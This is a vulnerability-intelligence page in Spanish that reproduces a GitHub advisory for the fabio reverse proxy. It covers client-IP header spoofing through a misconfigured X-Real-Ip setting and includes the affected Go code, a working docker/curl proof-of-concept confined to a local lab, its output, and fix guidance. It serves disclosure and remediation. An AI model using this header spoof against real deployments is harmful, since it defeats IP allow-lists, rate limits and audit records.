llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Go · github.com/fabiolb/fabio

GHSA-247F-2CQ2-V793

fabio: setting `proxy.header.clientip` to `X-Real-Ip` silently makes the client-IP header attacker-controlled

Parche disponible
Descargar PNG JSON
CVSS 3.1
7.2
Alta
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche el mismo día de la divulgación
Exposición73 dDesde la divulgación, 8 sept 2026, 9:06 p. m.
Detección70 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Que no se te pase entre tantos tickets.Ponle una regla en tu SIEM y seguimos.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche v1.8.0
Monitoreo
Detectada +1
9 sept 26
18 nov 26
21 nov 26
9 sept 26
27 sept 26
15 oct 26
3 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-247F-2CQ2-V793 divulgada · CVSS 7.2 (GitHub)
Remediación Parche v1.8.0 github.com/fabiolb/fabio · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

`proxy.header.clientip` tells fabio which header should carry the client's IP address for the backend. The documentation states plainly that "the remote ip address is taken from `http.Request.RemoteAddr`", and `addHeaders` implements exactly that with `r.Header.Set(cfg.ClientIPHeader, remoteIP)` — `Set` replaces every existing value, so whatever the client sent is discarded and the backend receives fabio's own view of the connection.

That write is guarded so it never runs when the configured name is `X-Forwarded-For` or `X-Real-Ip`. For `X-Real-Ip` the only remaining writer is a fallback a few lines below, and it fires only when the header is absent. The consequence is that choosing `X-Real-Ip` — the most natural name an operator could pick for this setting, and one fabio itself populates by default — silently converts the option from authoritative to client-preferred. A request arriving with `X-Real-Ip: 1.2.3.4` reaches the backend with that value intact and the true address gone.

Nothing signals the difference. The configuration syntax is identical, there is no startup warning, and the documentation lists no names for which the guarantee does not hold. An operator reading the reference page has no way to learn that this one value of the setting means the opposite of what the page says.

The proof of concept runs two fabio containers from the vendor's published image that differ only in the configured header name. With `clientip=X-Client-IP`, a client sending `X-Client-IP: 1.2.3.4` has it replaced and the backend sees the true `172.18.0.1`. With `clientip=X-Real-Ip`, the same spoof arrives at the backend verbatim. The first gateway is a built-in control: it is the same binary and the same option behaving as documented, which is what establishes that this is an inconsistency rather than an intended design.

This is distinct from the two published advisories, and I checked both carefully because they are adjacent. GHSA-q7p4-7xjv-j3wf and GHSA-fq95-v8xc-jm3v both concern *removal* of trust headers by naming them in the hop-by-hop `Connection` header, and both are fixed at this release — `DefaultProtectHeaders` plus the three names added in `main.go` now cover every header fabio writes, which I verified header by header. The issue reported here is not removal but preservation of an attacker-supplied value, caused by the authoritative write never executing. It needs a different fix.

Affected code (v1.7.3)

`proxy/http_headers.go` — `addHeaders`. The authoritative write and the guard that excludes two names, followed by the conditional fallback that is the only other writer of `X-Real-Ip`.

	// set configurable ClientIPHeader
	// X-Real-Ip is set later and X-Forwarded-For is set
	// by the Go HTTP reverse proxy.
	if cfg.ClientIPHeader != "" &&
		cfg.ClientIPHeader != "X-Forwarded-For" &&
		cfg.ClientIPHeader != "X-Real-Ip" {
		r.Header.Set(cfg.ClientIPHeader, remoteIP)
	}

	if r.Header.Get("X-Real-Ip") == "" {
		r.Header.Set("X-Real-Ip", remoteIP)
	}

The comment records the intent — "X-Real-Ip is set later" — and it is set later, but conditionally. Substituting a conditional write for an unconditional one is the whole defect: `Set` on an unconditional path cannot be influenced by the client, whereas a write guarded by `Get(...) == ""` is skipped precisely when the client has supplied a value.

`docs/content/ref/proxy.header.clientip.md` — what the option promises, with no exceptions listed.

`proxy.header.clientip` configures the header for the request ip.

The remote ip address is taken from [http.Request.RemoteAddr](https://golang.org/pkg/net/http/#Request.RemoteAddr).

`proxy/http_proxy.go` — the single call site, reached by every proxied request with no routing or filter predicate in between.

	if err := addHeaders(r, p.ProtectHeaders, p.Config, t.StripPath); err != nil {

For completeness, the hop-by-hop protection introduced by the earlier advisories is present and, as far as I can determine, complete — every header fabio writes on the request path appears in this map once `main.go` has extended it:

var DefaultProtectHeaders = map[string]bool{
	"Forwarded":          true,
	"X-Forwarded-For":    true,
	"X-Forwarded-Host":   true,
	"X-Forwarded-Port":   true,
	"X-Forwarded-Proto":  true,
	"X-Forwarded-Prefix": true,
	"X-Real-Ip":          true,
}
	//Init ProtectHeaders
	protectHeaders := proxy.DefaultProtectHeaders
	protectHeaders[textproto.CanonicalMIMEHeaderKey(cfg.Proxy.RequestID)] = true
	protectHeaders[textproto.CanonicalMIMEHeaderKey(cfg.Proxy.ClientIPHeader)] = true
	protectHeaders[textproto.CanonicalMIMEHeaderKey(cfg.Proxy.TLSHeader)] = true

Note that `X-Real-Ip` being in `protectHeaders` prevents a client from *deleting* it, which is the earlier advisories' concern. It does nothing about a client *supplying* it, which is this one.

Attacker model / precondition

The attacker is any unauthenticated client that can send an HTTP request through fabio. No credentials, no position on the network beyond reaching the proxy, and no interaction with any other user. The call site is reached by every proxied request, so there is no route or path restriction to satisfy.

The precondition is on the operator: `proxy.header.clientip` must be set to `X-Real-Ip`. That is one specific value of one setting, which bounds who is affected — but it is the value an operator is most likely to choose, because `X-Real-Ip` is the conventional name for this header, is the name fabio itself writes by default, and is what most backend frameworks and nginx configurations already read. The same reasoning applies to `X-Forwarded-For`, though there the practical effect differs because Go's reverse proxy appends to that header rather than replacing it, so the true address is still present at the end of the list.

Deployments that leave `proxy.header.clientip` empty (the default) or set it to any other name are not affected — for those names the authoritative `Set` runs and the client's value is correctly discarded.

The impact is bounded by what the backend does with the header. fabio does not act on it; it forwards it. Where a backend only logs the value, the consequence is falsified records. Where it uses the value for an access decision — which is why an operator configures an authoritative client-IP header in the first place — the consequence is that the decision is made on attacker-chosen input.

Impact

An unauthenticated client chooses the IP address the backend believes it is talking to. Where the backend allow-lists internal ranges by that header, presenting `X-Real-Ip: 10.0.0.1` is sufficient to appear internal; where it rate-limits per address, rotating the value defeats the limit entirely; where it records the value for audit, the record is whatever the attacker chose.

The true address is not merely obscured, it is lost. The authoritative write never runs, so the backend has no second, trustworthy copy to fall back on — unlike the `X-Forwarded-For` case, where Go's reverse proxy appends and the genuine address survives at the end of the chain. A backend cannot detect or correct the substitution from the request alone.

The failure is silent in both directions. Nothing in fabio's configuration, startup output or documentation distinguishes the safe names from the unsafe one, and nothing in the request reaching the backend looks unusual — it carries exactly the header the operator asked fabio to set, with a plausible value.

Because the affected setting exists specifically so that backends can trust a client-IP header, deployments that use this option are precisely the deployments most likely to make security decisions with it.

Proof of Concept (complete — runs on 127.0.0.1 and a private RFC1918 network only)

The script starts one backend and two fabio gateways from the vendor's published image, identical except for the configured header name, and sends the same spoof to each.

Requirements: `docker`, `curl`. Nothing leaves the host except the `docker pull`.

1. The script
#!/usr/bin/env bash
# fabio v1.7.3 -- configuring proxy.header.clientip as X-Real-Ip silently makes that
# header client-controlled: the unconditional Set is skipped for that name and the
# fallback only fills it when absent. Local lab only (127.0.0.1 + private docker net).
set -uo pipefail
NET=fbnet; BE=fbbackend; GW1=fbgw1; GW2=fbgw2
P1=19991; P2=19992
step(){ printf '\n\033[1m== %s ==\033[0m\n' "$*"; }

step "1. lab: one backend, two fabio gateways differing ONLY in the header name"
docker pull -q fabiolb/fabio:1.7.3 >/dev/null 2>&1
docker network create "$NET" >/dev/null 2>&1 || true
docker rm -f "$BE" "$GW1" "$GW2" >/dev/null 2>&1 || true
docker run -d --name "$BE" --network "$NET" --network-alias backend python:3.11-alpine \
  python3 -c '
import http.server, socketserver
class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        xri = self.headers.get_all("X-Real-Ip") or []
        xci = self.headers.get_all("X-Client-IP") or []
        body = ("X-Real-Ip=%r  X-Client-IP=%r\n" % (xri, xci)).encode()
        self.send_response(200); self.send_header("Content-Type","text/plain")
        self.send_header("Content-Length", str(len(body))); self.end_headers(); self.wfile.write(body)
    def log_message(self,*a): pass
socketserver.TCPServer(("0.0.0.0",8000),H).serve_forever()
' >/dev/null 2>&1
docker run -d --name "$GW1" --network "$NET" -p "127.0.0.1:${P1}:9999" fabiolb/fabio:1.7.3 \
  -registry.backend=static -registry.static.routes='route add svc / http://backend:8000/' \
  -proxy.header.clientip=X-Real-Ip -proxy.addr=:9999 >/dev/null 2>&1
docker run -d --name "$GW2" --network "$NET" -p "127.0.0.1:${P2}:9999" fabiolb/fabio:1.7.3 \
  -registry.backend=static -registry.static.routes='route add svc / http://backend:8000/' \
  -proxy.header.clientip=X-Client-IP -proxy.addr=:9999 >/dev/null 2>&1
sleep 8
echo "  gw1 (clientip=X-Real-Ip)  -> HTTP $(curl -s -o /dev/null -w '%{http_code}' --max-time 5 http://127.0.0.1:${P1}/)"
echo "  gw2 (clientip=X-Client-IP) -> HTTP $(curl -s -o /dev/null -w '%{http_code}' --max-time 5 http://127.0.0.1:${P2}/)"

step "2. CONTROL -- gw2, where the option behaves as documented"
printf "    no header sent                    -> %s" "$(curl -s --max-time 6 http://127.0.0.1:${P2}/)"
printf "    client sends X-Client-IP: 1.2.3.4 -> %s" "$(curl -s --max-time 6 -H 'X-Client-IP: 1.2.3.4' http://127.0.0.1:${P2}/)"

step "3. EXPLOIT -- gw1, the same option set to X-Real-Ip"
printf "    no header sent                   -> %s" "$(curl -s --max-time 6 http://127.0.0.1:${P1}/)"
printf "    client sends X-Real-Ip: 1.2.3.4  -> %s" "$(curl -s --max-time 6 -H 'X-Real-Ip: 1.2.3.4' http://127.0.0.1:${P1}/)"

step "Teardown"
docker rm -f "$BE" "$GW1" "$GW2" >/dev/null 2>&1 || true
docker network rm "$NET" >/dev/null 2>&1 || true
echo "containers and network removed"
2. Observed output
== 1. lab: one backend, two fabio gateways differing ONLY in the header name ==
  gw1 (clientip=X-Real-Ip)  -> HTTP 200
  gw2 (clientip=X-Client-IP) -> HTTP 200

== 2. CONTROL -- gw2, where the option behaves as documented ==
    no header sent                    -> X-Real-Ip=['172.18.0.1']  X-Client-IP=['172.18.0.1']
    client sends X-Client-IP: 1.2.3.4 -> X-Real-Ip=['172.18.0.1']  X-Client-IP=['172.18.0.1']

== 3. EXPLOIT -- gw1, the same option set to X-Real-Ip ==
    no header sent                   -> X-Real-Ip=['172.18.0.1']  X-Client-IP=[]
    client sends X-Real-Ip: 1.2.3.4  -> X-Real-Ip=['1.2.3.4']  X-Client-IP=[]

== Teardown ==
containers and network removed
3. Reading the result

The control is the argument. `gw2` is the same fabio binary with the same option set to a different name, and it does exactly what the documentation describes: the client's `X-Client-IP: 1.2.3.4` is discarded and the backend receives the true `172.18.0.1`. That establishes both that the option is meant to be authoritative and that the lab is wired correctly.

`gw1` differs in one string. The client's `X-Real-Ip: 1.2.3.4` reaches the backend unchanged, and the genuine address appears nowhere in the request. An operator comparing the two configurations would see no reason to expect different trust properties.

The no-header rows matter too: both gateways populate the header correctly when the client does not interfere, so the failure is invisible in normal operation and appears only when someone chooses to exploit it.

Remediation

Make the write unconditional for every configured name. The narrow fix is to drop `X-Real-Ip` from the guard so that `r.Header.Set(cfg.ClientIPHeader, remoteIP)` runs whenever the option is set:

	if cfg.ClientIPHeader != "" && cfg.ClientIPHeader != "X-Forwarded-For" {
		r.Header.Set(cfg.ClientIPHeader, remoteIP)
	}

The subsequent `if r.Header.Get("X-Real-Ip") == ""` fallback can then remain for the default case, where no client-IP header is configured at all — it is only unsafe when it is the *sole* writer for a header the operator asked to be authoritative.

Treat `X-Forwarded-For` deliberately rather than by omission. Its exclusion is defensible because Go's reverse proxy appends to it and the true address survives at the end of the list, but that reasoning should be stated in the code, since the current comment groups it with `X-Real-Ip` as though both were equally handled and they are not.

Consider whether the fallback should overwrite in general. A reverse proxy that is the trust boundary — which fabio is, when it is the edge — has no reason to preserve a client-supplied `X-Real-Ip` at all. If preserving it is intended for chained-proxy deployments, an explicit option would let operators choose, rather than the behaviour depending on which header name they happened to type.

Finally, a startup warning would have prevented this entirely: if `proxy.header.clientip` is set to a name for which fabio does not perform the authoritative write, log it. The condition is three lines and it turns a silent trust downgrade into an operator-visible one.

Please credit 5ud0 / Tarmo Technologies.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:C
CambiadoSin cambio
ConfidencialidadC:L
AltoBajoNinguno
IntegridadI:L
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
10.0/ 10Muy alto
Vector 10.0 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
github.com/fabiolb/fabio≤ 1.7.3
1.7.3
v1.8.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
gogithub.com/fabiolb/fabio
Corregida v1.8.0 0 d v1.8.0 no afectada
Versiones corregidasv1.8.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/fabiolb/fabio/security/advisories/GHSA-247f-2cq2-v793

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.